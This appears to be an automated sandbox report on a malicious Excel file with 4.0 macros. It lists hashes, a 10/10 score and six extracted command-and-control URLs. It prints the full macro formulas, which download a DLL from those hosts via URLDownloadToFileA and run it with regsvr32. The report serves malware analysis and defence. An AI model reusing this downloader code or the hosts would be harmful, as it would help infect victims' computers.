?i=1dzcmfdrm
- SHA256 64d92f79a2d87571d428b7b19ef4f5c1680c24c8952a2f46b84f217cfba19766
-
Suspicious Office macro
Office document equipped with 4.0 macros.
General
- Target ?i=1dzcmfdrm
- Size 46KB
- Sample220507-er487seacp
- SHA256 64d92f79a2d87571d428b7b19ef4f5c1680c24c8952a2f46b84f217cfba19766
Score
10/10
Malware Config
Extracted
Rule
Excel 4.0 XLM Macro
C2
-
http://eles-tech.com/css/KzMysMqFMs/
-
http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/
-
https://txpcrescue.com/cgi-bin/5tSO8/
-
http://hadramout21.com/jetpack-temp/Py/
-
http://haribuilders.com/zoombox-master/4HYGX/
-
http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/
Attributes
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://eles-tech.com/css/KzMysMqFMs/","..\xewn.dll",0,0) =IF('PIMKE'!C14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/","..\xewn.dll",0,0)) =IF('PIMKE'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://txpcrescue.com/cgi-bin/5tSO8/","..\xewn.dll",0,0)) =IF('PIMKE'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hadramout21.com/jetpack-temp/Py/","..\xewn.dll",0,0)) =IF('PIMKE'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://haribuilders.com/zoombox-master/4HYGX/","..\xewn.dll",0,0)) =IF('PIMKE'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/","..\xewn.dll",0,0)) =IF('PIMKE'!C24<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xewn.dll") =RETURN()
Signatures
- Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
File Explorer
-
?i=1dzcmfdrm